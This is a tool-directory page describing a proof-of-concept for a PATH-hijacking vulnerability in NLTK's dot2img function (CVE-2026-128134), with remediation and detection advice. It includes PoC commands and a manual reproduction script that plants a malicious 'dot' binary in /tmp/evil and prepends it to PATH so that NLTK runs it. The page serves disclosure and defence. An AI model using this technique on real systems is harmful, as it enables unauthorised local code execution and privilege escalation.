Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-128134 — NLTK — dot2img runs Graphviz outside trusted-exec check, enabling local code execution via PATH hijacking. High. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-128134
Privilege EscalationStatic AnalysisVulnerability AnalysisCode AnalysisExploitation
GitHubllcforge/cve-2026-128134

CVE-2026-128134

NLTK — dot2img runs Graphviz outside trusted-exec check, enabling local code execution via PATH hijacking. High.

View Repository
0 days agoNot yet reviewed
Share

CVE-2026-128134

NLTK — PATH Hijacking via dot2img Subprocess Call

CVSS CWE Language Patch Disclosed


Overview

NLTK <= 3.9.1 calls subprocess.call(['dot', ...]) in nltk.draw.util.dot2img() without an absolute path, relying on the OS PATH environment variable to locate the Graphviz dot binary. If an attacker can write a file named dot to any directory that appears before Graphviz in PATH, that malicious binary executes instead, achieving code execution in the context of the Python process that calls NLTK's drawing functions.

FieldValue
CVECVE-2026-128134
CVSS 3.17.3 High — AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWECWE-427 (Uncontrolled Search Path Element)
AffectedNLTK <= 3.9.1
PatchNLTK 3.9.2
Auth RequiredLow (write access to a PATH-prepended directory)
Disclosed2026-11-19

Vulnerability Details

The vulnerable call in nltk/draw/util.py:

# VULNERABLE — nltk/draw/util.py (<=3.9.1)
def dot2img(dot_source, output_format="png"):
    with tempfile.NamedTemporaryFile(suffix=".dot", delete=False) as f:
        f.write(dot_source.encode())
        dot_file = f.name
    out_file = dot_file.replace(".dot", f".{output_format}")
    # CWE-427: 'dot' resolved from PATH, not from an absolute path
    subprocess.call(['dot', f'-T{output_format}', '-o', out_file, dot_file])
    return out_file

The fix in 3.9.2 uses shutil.which('dot') to resolve the binary and validates the returned path is under the expected Graphviz installation directory.


Attack Flow

flowchart LR
    A([Attacker]) -->|create malicious dot binary in writable dir| B[Filesystem]
    B -->|prepend dir to PATH env var| C[Process Environment]
    C -->|any code triggers dot2img| D[NLTK draw module]
    D -->|subprocess.call dot| E[Malicious dot binary]
    E -->|RCE as Python process user| F([Code Execution])
    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Setup

pip install -r requirements.txt

Scenario 1 — Demonstrate exploitation in an isolated temp directory

python poc.py --demonstrate

Scenario 2 — Plant malicious dot in a custom directory

python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt"

Scenario 3 — Full chain: plant + prepend PATH + trigger NLTK

python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt" --trigger

Scenario 4 — Check if current environment is vulnerable

python poc.py --check-only

Manual reproduction

# 1. Create malicious dot script
mkdir -p /tmp/evil
cat > /tmp/evil/dot << 'EOF'
#!/bin/sh
id > /tmp/pwned_by_nltk.txt
# Also call the real dot so NLTK doesn't crash
/usr/bin/dot "$@" 2>/dev/null
EOF
chmod +x /tmp/evil/dot

# 2. Prepend to PATH and trigger NLTK
export PATH="/tmp/evil:$PATH"
python3 -c "
import nltk
from nltk.draw.util import dot2img
dot2img('digraph G { a -> b }')
"
cat /tmp/pwned_by_nltk.txt

Available flags

FlagDescription
--demonstrateFull self-contained exploitation demo in temp dir
--plant-dir DIRDirectory to write the malicious dot binary
--cmd STRCommand the malicious dot will execute
--triggerActually call dot2img to trigger execution after planting
--check-onlyCheck if NLTK and Graphviz are installed, assess PATH risk
-v / --verboseVerbose output

Detection

IndicatorNotes
A file named dot (executable) in a user-writable directory that is in PATHFile integrity monitoring
dot process spawned from a non-standard pathEDR / process monitoring
NLTK draw.util.dot2img calls where PATH includes user-writable directoriesStatic code analysis / runtime hook

Impact

A local attacker who can write to a PATH-prepended directory can achieve code execution in the context of any process that calls NLTK's draw functions, escalating privileges if the NLTK consumer runs as a higher-privilege user.


Remediation

ActionDetail
UpgradeUpdate NLTK to 3.9.2 or later
Harden PATHEnsure user-writable directories are not in PATH
Absolute pathIn custom NLTK consumers, resolve dot with shutil.which and validate before use

References

  • NLTK GitHub — 3.9.2 changelog
  • CWE-427: Uncontrolled Search Path Element

Disclaimer: Published for authorised security research only. Use exclusively on systems you own or have explicit written permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →